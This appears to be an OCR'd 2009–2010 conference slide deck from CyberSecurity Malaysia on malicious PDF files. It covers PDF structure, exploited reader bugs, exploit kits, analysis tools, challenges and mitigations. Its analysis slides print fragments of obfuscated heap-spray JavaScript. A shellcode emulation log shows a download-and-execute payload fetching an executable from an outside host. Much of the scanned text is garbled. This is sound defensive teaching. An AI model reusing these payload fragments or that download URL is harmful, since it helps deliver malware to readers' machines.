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INTRO : PDF 101 S R

= PDF: Portable Destructive File ;)
= Portable Document Format

= Open Standard (2008) by Adobe (previously
proprietary)

= Mainly for independent format instead of
*.doc, .odp, *.xls, *.ppt, *.etc, *.etc

= PDF Reader Applications (Adobe Reader, Foxit
Reader, SumatraPDF,etc,etc)
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INTRO : PDF Format

= Has its own language

= Normally just ASCII characters.(/Filters /
application elements are using binary data
(stream)

= ASCII - Readable (any text editors will do)
= Start with header (%PDF-[version])
= End with eof element (%%EOF)
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RO : PDF Format (diagram)

%PDF-1.1

ﬂOObj

<<

[Type /Catalog
/Outlines 20 R
/Pages 30 R
>>

endobj

5 0 obj
<</Length 67 >>
stream

BT

/F1 24 Tf

100 700 Td
(Hello wOOt!)Tj
ET

endstream
endobj

AN

xref
08
0000000000 65535 f
0000000012 00000 n

\ 0000000089 00000 n

ftrailer

<<

/Size 8
/Root10R
>>

startxref

K642

%%EOF

Securing Our Cyberspace

PDF Start (version)

PDF Object (obj ... endobj)
-stream element contains
data (“ hello w00t!”). End

with endstream

-Normally needs to decode

the data inside stream
element
-JavaScript object starts
with /JS

-Main subject to be abuse

Cross Reference

Trailer
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INTRO : PDF Format

= view inside PDF readers

| hello-w00t.pdf (1 page) -
=N ) =1 9 (I HAN &) B,
Previous Next Zoom Move Text Select Sidebar

hello wOOt!

Securing Our Cyberspace
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INTRO : Why attacking PDF? S

" Just another attacking vector

= Widely used (popular)
o Wider target

= Main player application have bugs
o Again, wider target

o Generate more interest (more bugs after the 15t
one (almost 3 years now))

o Alternative apps will appear
- Unfortunately, they also have bugs

= The emerge of client-side attack (PDF plugin on
web browser- create more ways to target)

Copyright © 2009 CyberSecurity Malaysia 9



PDF ATTACKS

1)Intro 3)Analyzing 5)Mitigation
2)PDF attacks 4)Issues 6)Conclusion
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PDF Attacks

History

- Used to be a dirty trick by opening malicious web pages
via link. (oh, no,i’m not discussing about this : ) )

- Emerged as client-side attacks becoming more popular

Abusing bugs on PDF reader (adobe,foxit) to get
to client

Abusing JavaScript (inside PDF reader):

o for more reliable exploitation (heap spray)
o Crafting payloads (flexible)
o Code obfuscating (make analyzing difficult)

Social engineering attacks always work : )

Copyright © 2009 CyberSecurity Malaysia
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Targeted attacks 2008

Microsoft
—— PowerPoint
0De ACroba 16.87%
Reader \
28.61% |3
-
A
icrosoft Excel
19.97%
12K
Microsoft Word
34.55%

Securing Our Cyberspace

Resource: F-Secure

Copyright © 2009 CyberSecurity Malaysia

12



|CybersSecurity||

MALAYSIA

PDF Attacks: File based attack vector
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Targeted attacks 2009

Microsoft
PowerPoint
452% |3
icrosoft Excel
7.39%
) 4
Adobe Acrobat
Reader
48.87%
- Microsoft Word
A 39.22%
W

Securing Our Cyberspace

Resource: F-Secure
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PDF Attacks: How it works
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PDF Attacks: Recent Bugs

= Adobe
o getlcon() CVE-2009-0927
o JBIG2 decoder
o U3D File Invalid Array Index
o Newplayer() CVE-2009-4324
o LibTIFF CVE-2010-0188
o CVE2010-1297
= Foxit
o Code execution CVE-2009-0191
o Code execution CVE-2009-0836
o Code execution CVE-2009-0837

Copyright © 2009 CyberSecurity Malaysia 15
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PDF Attacks: Feature vs Bug ?

Launch File @
. ' The file and its viewer application are set to be launched by this PDF file. The
a u n C ! file may contain programs, macros, or viruses that could potentially harm your
computer. Only open the file if you are sure it is safe, If this file was placed by
rogram, yo to view the file.

a trusted person or p u can click Open i he fil

o Launch .exe reside inside PDF file = L

o Pop up gotcha! ) (e
- No problem, Didier Stevens solved the gotcha.

o Patched

= Media-Rich

o CVE2010-1297- Flash’s bug, PDF can be used as
the transporter.

o Patch is coming.... :)

Copyright © 2009 CyberSecurity Malaysia 16



@

Cyber || mosTI
MALAYSIA - .

Ministry of Science,

PD F Attac ks - Tre n d S Technology & Innovation

= Targeted attacks
o Gov/Corp events/meeting
o us-j-india strategic dialogue
o Call the Ministry of Defense
o PDF national policy think-tank seminars

o World News

o HINT C T s

o Tibetan Movement o A

o FIFA World Cup 2010 Q‘;‘:g"’ )
o Your CEO?:) -

Securing Our Cyberspace

Copyright © 2009 CyberSecurity Malaysia 17



| CyberSecur

MALAYSIA

PDF Attacks: Speaking of Social engineering

Y| mosTI

Ministry of Science,
Technology & Innovation

Rapelorn memitabts H#DF file

Malicious PDF

(% 06f570d9658be0065ac183a0dfe88dc8.pdf (page 1 of 6)

file

u ¥ = o ) Al £H (o L8 ' (Qshar
Previous  Next Zoom Move Text Select Annotate Sidebar Found on 2 pages
Sort by:  Search Rank Page Order (<4 ») (Done )

Tina aboon absorbedness absolvable absentmindedly heather. Persona abbatical regional graham abuné
Kerry abscessed tina aboon absorbedness absolvable absentmindedly heather felicia. Modem paula p: o

absclutistic abicgenetical absorbability jasmin. Absolutistic abiogenetical absorbability jasmin r

i
abortional abandoner lois weenie. Elephant susanne kerry abscessed tina aboon. Dave saral aboundir
connie. Abipon paula privs absenteeship karie ablutionary abluent sharks crystal nicole academize.
absolutis= abaris. Regional graham abscondedly abouchement abdominoscope abristle persona abbatice
crystal lorin absentmindedly heather shirley. Jasmin marcy default abyssobenthonic abear tamara r; 5
i

absenteeship karie ablutionary abluent.

06f570d9658be...

Securing Our Cyberspace
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PDF Attacks: Trends

" Integrated into ExploitKits
o Fiesta
o LuckySploit
o Firepacks
o Neosploits
o CrimePacks
o SEO Sploit Pack

Copyright © 2009 CyberSecurity Malaysia
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PDF Attacks: DEMO

reaking the PDF readers

Securing Our Cyberspace
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Analyzing Malicious PDF File

1)Intro 3)Analyzing 5)Mitigation
2)PDF attacks 4)Issues 6)Conclusion
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Analyzing Malicious PDF File

Mglicious PDF DaveCippersiep
“ THE <7h@&=15 THAT BAD, HUN P '

Securing Our Cyberspace
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Analyzing Malicious PDF File

= ASCII based characters
o Any text editors will do

= Some inflators/encoders have been used for data
stream

o Analysis becomes more complicated

o Can be deflated/decoded using proper library/
techniques to reveal normal ascii data

= Understanding on how PDF language syntax is a

must (e.g : object references, JavaScript call,
etc,etc)

Copyright © 2009 CyberSecurity Malaysia
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Analyzing Malicious PDF File

= Bug inside PDF is just a bug, the malicious one is
the evil JavaScript (the payload)(err, most of the
time)

o We need to analyze and identify the payload

= Due to the nature of PDF readers which supports
JavaScript, exploitation techniques and payloads
crafting are becoming more reliable and flexible

o Hence making analysis tougher

= There are non-JavaScript exploits; therefore,
disabling JavaScript is not the silver bullet

Copyright © 2009 CyberSecurity Malaysia
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Analyzing Malicious PDF File

= Tools of trade:
o Pdf-tools (by Didier Steven)
- PDF parser

o JavaScript interpreters (SpiderMonkey, Rhino)
— JavaScript interpreter to execute JavaScript code

o Jsunpack (by Blake Hartstein
- Auto analysis for PDF file

o File Insight (by McAfee Avertlabs)

- Manual analysis to decode/inflate and shellcode

o Analyz3r ( by MyCERT)
— Auto analysis for PDF file
- Quick identifier for suspicious PDF files

Copyright © 2009 CyberSecurity Malaysia
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Analyzing Malicious PDF File

= Pdf-tools (by Didier Steven)

- PDF parser (pdf-parse.py)

POF Comment '#%PDF-1.6%'

POF Comment '%\xe Sxefixd3\ein'

obj 14 @
Type:
Referencing:

Yy,

(1,

Type: /XRef

Referencing: 13 8 R, 15 8 R
Contai stream

, (2, '<<'), (2, '/DecodeParm
3 'y, (3, '"12'), '),
'B1C874554C56534C90BAT3363BBBF G5
(2, '1'), (2, "/lndex'), (2, '[")
(1, ' '), (3, '8, (1, )
2, 'fRoot'), (1, '
(2, '/Type'),

startxref 8

POF Comment EOFYryn'

, JED, U

"1, (2, LD, 4,

|”.‘H|)! (1‘ '
"445'), (1,

(1, 9, G,
(2, /10",
TBE6 748688 TAA440AREBF
9, (2, 111, (
I:'; (3’

mosTI
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Analyzing Malicious PDF File

= Jsunpack (by Blake Hartstein)
- Jsunpack.py

mahmuds-winxp: jsunpack-n mahmud$ ./jsunpack-n.py -V sample-pdf.file
Processing sample-pdf.file
[nothing detected] [POF] sample-pdf.file
info: [decodinglevel=8] found JavaScript
info: [decodinglevel=8] decoded 14682 bytes (./files/decoding_31d2851cb5122be3fb4516b7bB5e48d6cHE7
abba)
info: [decodinglevel=1] found JavaScript
info: saved original parsed JavaScript to ./files/veryverbose_31d2851cb5122be3fb4516b7bB5e48d6c6E7

error: Error: Fatal error in decodedS

[file] created ./files/decoding_31d28! : : b7bBSe4Bd6c6G7abba from sample-pdf.file
[file] created ./files/veryverbose_31 > 4516b7bASe4Bd6cOHBTabba from sample-pdf.file

Copyright © 2009 CyberSecurity Malaysia 27
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Analyzing Malicious PDF File

= File Insight (by McAfee Avertlabs)

Manual analysis to decode/inflate and shellcode

FileInsight - msf.pdf

Edit Search Plugins Windows Help

j = - I I D A Enter a URL here -
— # — Use Internet Explorer Proxy - ®
New Open Close Save View View as ||f= - T c ee

L

Enter your proxy as [Server:Port] here

Avert Labs
Navigation a msf.pdf X 4 b
X Supported for HTML, OLE2 and PE. S0l /Figécter S
[ /F#6catesddecsCizbde  /F41S#43#45745HEF65778Decod#65 ] >>
stream

xU..\U*&80@L...| X"EY?/—v-op ! <EB AR { £ 140 (MK ; MM’ ~1 6 , a«O°p i piapyNi
{«2-TACgED? SAPUEE<CO>UIHGA | =M@, 1 | «(132’ &~ “MER0S] 24-33n; @ &% = U0
S| SEMU44 UD-) “sieA:i:—éiHFIpLIEN®' i@ [a0..0D willABe Y IPe* 0 { WO™* 16
ud, D¢ vr vEBUNF<UCFayien * A ek @ el > St ;Y%Om,ﬁ:) Vt5T T g@tEHem: !
27" DY E061 jO%, UED gft’ . IEBEWI { x5 yOSEN

«EPR=N:0UWia"SE] p<ar [ ‘YSEM) tObpsys
+EI®2z++) 3#iidsB Y & | Cut Ze¢A®2vAEN 1 x. RIBE<nO0&!  “oS= E—

BE Structures 3] D

WO ~Ag1-uENee, d 23 Copy YETAEDC" 0+ %2 Tm-SUDMR | £7i . [FeH

2 "MSEYinI’ BDERL o Hbé&4...5 ] PG RIBUESSz@Pyx®, { "1 7a
8¢ ik 2:sIBsHSER EEREU| Invert E(Dee,ofS-AEADE
Byte 0 SO ML N CAN Compute MDS R, >@>1)0:31%2 G
& 3) “Ax [«*59e ! B Select All (’.?Pzéhn@_(lrjiéfﬂ
WORD 0 = Inflate % - B
DWORD 0 BRIz SvXU".. EXNG WordWrap  Ctrl +M . 5¢0 eg\21
- - TAN 64 .
ASCIT ?20g?10Q.\+GIS"E [F]  view as Hex 580 h’lyx DC 4 [EEEE{SONAK]
Unicode wzadCkDmou?S5xr ‘SWl JavaSeript Escapes 2, E30-MENAODS YUl
- |__J] SetBookmark
@ ASCII to Hex
= %0848 Y- U—EMVZ56 Decode » v
ENETY 6 Disas... WM Book.. [ Calau... - o Hex to ASCIT S

UTF8 to UTF16LE
UTF16LE to UTF8

[S¢] Scripting

Press F1 for heln

P ——
line: 37 Column: 0 Character: 677 | enath:

Securing Our Cyberspace
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Analyzing Malicious PDF File

= JavaScript interpreters (SpiderMonkey, Rhino)
— JavaScript interpreter to execute JavaScript code

Using patch version by Didier Steven for dumping
eval,print output to files

FGHIIKLMNOI fghi jk Imnoparstuvy,
ubstr(-1,1)=="=") .substr{@,str. length

index0f (b [ IPos ] J«A8 )+ (b6ds. index0f (b[ [Pos+1] )
ndex0f {b[ Pos] J«<18 )+ (bbds. index0f (b[ IPos+1] J<<12 )+ (bb4s . index0f (L.[lpos+z] Jesb)s s.push( ((ta=16)80xFF), ((t

AT

if{ {b.le
for{ i=

COOL JAVASCRIPT HERE

eval(s.join(""))
b
func("bGVtaxdvczilbmy,
1BMIQBIRUZNDQ4IXUZM I Qx J\’ueunqmvumnn /IXULNDQBIXUBNDQy Xt jUxJ AUBHTHy IJXUFJHTQDJYU1UDUZJ>’U1\'TI1BJYUEIH1r14J‘/UB‘(TQEJ)’UEIZDRmJXUBZTRiJ)(Uzt-ﬂUyJ
[4MzQ2IRUAMDR JXUBOTQ j i 0 0
UBOTQLIXUAMTOBIXUAZTE) UM 1M - x
|J10DRK JXUBY j
l.llt'JszJ'XU

Y2FWZ3g1 JXUwM2VIXY LY JUBIXY LODALIXVMZmY4IXVmZmZmIXUB0TRmIXUB0TOSIXUB0TQEIXUIMTQEIXULINF YhIXUL0DUBIXUZMZMZIXULN jHwIXUZNDU4JXUZMDOx IXUZNQy X U8
TR JXULNDR] JXUBMzOz IXLaY
Qz] U@ZijJVUiﬁthJXUGH

ZJXUBUTQ JVU1UTQ51VU1UTUSJYU1HTPJJVUZNTPmJVUU
XLUBOTRKIXULOTR j IXUaY
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Analyzing Malicious PDF File

= JavaScript interpreters (SpiderMonkey, Rhino)
Require JavaScript Interpreter to speed up analysis

E}BmirOS=I.mescape("$$JEJ eb$*un=b59 EUPGBS fufffS fuffff 5u494f 5114949 14949"415149 156'40 15854°"J13""6%1‘:‘63@5"11 45 U301 HU36425u

{ . 14b4'9$’u434~$m B41%13842%153465U504C U494 9 4»344;-‘-&44f4c L4e4biubB45
Hudedaiudedb? ‘u4'r4f°114'r4f“iu4'r4f“h4"‘4 544eXU49495U5949%3949%u4c4 3% 4dXIE 340040495394 950394 9549493144 X4 d49%0
4945% 1151443’11484‘:1541484:- 13 346%u5144,fu4d49S{u59413&151443&144413&14144$€u4e4c :14045 $x4144°41494d"4u -4?"414941 2u494cHub64ciusl
{ { C? HA3144%0464bMud 43
. 64ciu434f ¥udeddiu3941%u4c425u4c48%U314cHIEEE0XI49¢ E=-= 14C4 7543144 %14546%0
41441;1l4d4f$dl4b4l'1>"ll494l 454 cius44ai % 31445, L %A4345X5594CcHUBE4CHU3E
#A5740%u494bu494ciuE54akud144 413949°’11394C 5114‘40 J ¥ f ‘%94? 4144544495041 43%u594d
404&51.14'?41zfu4049@5949%:.43949%:.14949%414u>u554r>J.14946>~u4-,4bw4-,4f3-).44b48$.u4n,58?#4645?#4044?#41447#4441 $u4f4 249400
4042&415 41%04046%u4949%159495159495514c U354 Hu484ck
Madb49%4144% 15445551141’435(414%.'49541404',

) 354ciu4741%u4b4f 4648556 SXL4d5aML4T 4eXudedd!
4d4a Ju4r4d 141 48 LI4f 4 4cu3949%u4d50%L4T 4eiudeddiudcdciuded2iudedciiudeddil
4f46 J14d4d$’u41‘49$’u4u4b$’u4f4P$’u4f4r J4e4r15'€u4f'4 €u4e4b°m4r=42°a14d4n°€l1404 414PSB°4x4f42°¢14f4?°414r14e 414941 414f4c 414f4l:/415'3

Hudf 4akudedbiuded2h

4f455114f4u$J14f4n$ﬂ14f4d>u4o4d>‘m4r4- UG u4r42

4451364554 743%U3640%U4 7445564153647 ’11464f°uq?4q$"u4258 ’ ’ L364dRUE24f HUET47:

39146453&15'?465&106455&10?405u464535L1525U$qu'?423&14640>ﬁu4?42>¢uSQ4f>fu364a><u4u4d>‘<a13043$<u3041?&1484&#8650 ).var hades=unescap

e{" %A .JUAEI "),xcu rnuko'ramoa— ¥ar nanor= ruakuraruosﬂemn 0s. lcngth 'Jhllel\rladca lengthmanm )nadcs+ nudcb var radu
ew Arruy(\ fnr(-.nenvrg_a

NSy

aear " keklf idul);
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Analyzing Malicious PDF File

= Analyz3r (by MyCERT)
— 2 scripts
- Quick and dirty way to identify pdf file (pdftk.rb)

:analyz3r mahmud$ ruby “/programming/ruby/pdf_parse/pdftk.rb sample/bloody.pdf
enerating uncompressed pdf file (output.pdf)
etecting Suspicious String ...

[+] Alert : Suspicious String inside pdf file detected: JS

+] Alert : Suspicious String inside pdf file detected: unescape
] Alert : Suspicious String inside pdf file detected: JavaScript
] Alert : Suspicious String inside pdf file detected: 9898
] Alert : Suspicious String inside pdf file detected: B585
] Alert : Suspicious String inside pdf file detected: util.print

[
[
[
[
[

[*]Done B
sa-238:analyz3r mahmud} |
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Analyzing Malicious PDF File

= Analyz3r (by MyCERT)

— 2 scripts
- Extensive analysis for details information (analyz3r.rb)

azizan@thinkpad:~/analisis$ ruby analyz3r.rb -a sample/vRf.pdf
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Analyzing Malicious PDF File

= Libemu’s sctest (by Giraffe Honeynet)
o For shellcode analysis

Hook me Captain Cook!

environment/win32/env_w32_dl | _export_kernel3Z_hooks.c:468 env_w3Z2_hook_GetProcAddress
module ptr is 7dfZ26660

prochname name is |'URLDownloadToFiled '’

dll is urlmon 7dfz20068 7df 20000

found URLDownloadToFileA at addr 7df7bébb

Hook me Captain Cook!

environment/win3zZ/env_w3Z2_dl l_export_kernel3Z2_hooks.c:525 env_w3Z_hook_GetSystemDirectorya
Hook me Captain Cook!

environment/win3zZ/eny_w3Z2_dl [_export_ur lmon_hooks.c:51 env_w3Z2_hook _URLDownloadToF i lea
http://beshragos.com/work/getexe.php?h=31 -= c:\WINDOWS\system32\a.exe

Hook me Captain CooK!

environment/win32/env_w32_dl | _export_kernel3Z_hooks.c:858 env_w3Z2_hook_WinExec

WinExec c:\WINDOWS\system32'a.exe

Hook me Captain Cook!

sctest.c:1578 user_hook_ExitThread

stepcount 13829
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Analyzing Malicious PDF File

= Wepawet (iseclab’s fame)
o Very cool!!
o Online service
o Need to upload the PDF sample and you’re done

o Probably is not so good when it involves your
company secret. : )

Copyright © 2009 CyberSecurity Malaysia
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Analyzing Malicious PDF File

= Challenges:

o JavaScript obfuscated
- Same problem with browser due to JavaScript
- Annoying
[ var=unescape() == var = un+escape(); == var a=un; var
b=escape(); var c=a+b ]
- arguments.callee(), getPageNumber(), getAnnotte()
- Anything JS can do, will fits here

6"“.\?‘
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Analyzing Malicious PDF File

Copyright © 2009 CyberSecurity Malaysia

Cyber || mosTI

MALAYSIA - .
Ministry of Science,

Technology & Innovation

Nice dSeh? —

(=] H H
#ulue? ! 498

36



Cyct erSECL | maosTI

' Ministry of Science,
Technology & Innovation

Analyzing Malicious PDF File

= Challenges:

o PDF Syntax Coolness

o This.Title.Info // This.Author.Names // This.What.Ever
o Difficult for the analyzer to follow the objects reference.
o Default JS emulator is not up for this yet

o Encoding/ Compressor

o Many of them (FlateDecode/ASClIHexDecode/JBIG2Decode/
ASCII85Decode/DCTDecode etc..etc)

o Concatenate Filters (/Filter /FlateDecode /ASCIlIHexDecode)

o Abbreviation Filter (/Filter [/FI /AHX] ) == (Filter /
FlateDecode /ASClIHexDecode)
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Analyzing Malicious PDF File

= Challenges:

o Parser Problem
o Grep’ing [obj...endobj] or [stream..endstream] ?
o Grep’ing [EOF] ?
o Reference loop

o This.Info.Name -> This.Author.Name-> This.Info.Name
ol1objO/JS70R->70bjO0O/JS80R->80bjO0/JSTOR

o Embedded malicious PDF inside PDF file.

- Manual extracting for the embedded file is difficult.

o PDF file analyzer is not PDF reader
— Analyzer needs to understand PDF structure
- Analyzer needs to interpret PDF language
- Eventually it will become PDF reader by itself ;)

Copyright © 2009 CyberSecurity Malaysia
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Analyzing Malicious PDF File: DEMO

CANT YOU DO

ANYTHING RIGHT?

Comright 2003 Sancy Claghergea  wn Jagheron.eom

Analyzing Malicious PDF File

Securing Our Cyberspace

Copyright © 2009 CyberSecurity Malaysia
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Analyzing Malicious PDF File: DEMO

C q]:w;u?—*‘r
LAYS

= |dentify the malicious file
= Extract information
* Analyze shellcode

Copyright © 2009 CyberSecurity Malaysia
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Issues with Malicious PDF file

1)Intro 3)Analyzing 5)Mitigation
2)PDF attacks 4)Issues 6)Conclusion
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Issues with Malicious PDF file

= Awareness on malicious PDF

o Not only on PDF but also other file formats (file
exploitation + client-side attacks)

= on the fly malicious PDF generator
o Difficult to analyze/ be detected by analysis tools

o Have to manually request/download the malicious
pdf file (probably its too late when your browser
have PDF reader plugins)

Copyright © 2009 CyberSecurity Malaysia
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Issues with Malicious PDF file

= JavaScript obfuscating, period :)
o Well, javascript fingerprinting is nothing new : )

o JS checking if u’r running inside on the targeted
application is common.

o App.version()

= lack of fully functional pdf analyzers as how PDF
reader works

o Will always be a cat and mouse game

Copyright © 2009 CyberSecurity Malaysia
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Mitigation against Malicious PDF file

1)Intro 3)Analyzing 5)Mitigation

> > > >

2)PDF attacks 4)Issues 6)Conclusion
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Mitigation
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Mitigation

= Update/patch your PDF reader->eliminated bug,
you're save

o Not quite true when dealing with Oday

= Analyze/scan PDF file before opening it

= Only open PDF attachment from trusted people, at
least with pgp signing :)
o Sign the PDF file?. :).paranoid

= Disable JavaScript- minimize the risk of reliable
exploitation

o Some bugs don’t require JavaScript (still will OWn1ng
as usual).
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Conclusion

= Awareness on threats against PDF reader still
needs more works

= Analysis on malicious PDF is possible by
combining multiple tools (editor,decoder,js
emulator, shellocde analyzer)

= A better PDF analyzer is urgently needed
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Conclusion

= The complexity of PDF reader will introduce
more bugs and vulnerabilities

= With JavaScript support, exploitation will be more
reliable (why we still need JavaScript inside PDF
file?)

= With JavaScript support, more obfuscated
techniques can be implemented
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THANKS

Email: mahmud@cybersecurity.my
Web: http://www.cybersecurity.my
Web: http://www.mvycert.org.my

Web: www.cybersafe.my
Report Incident: mycert@mycert.org.my
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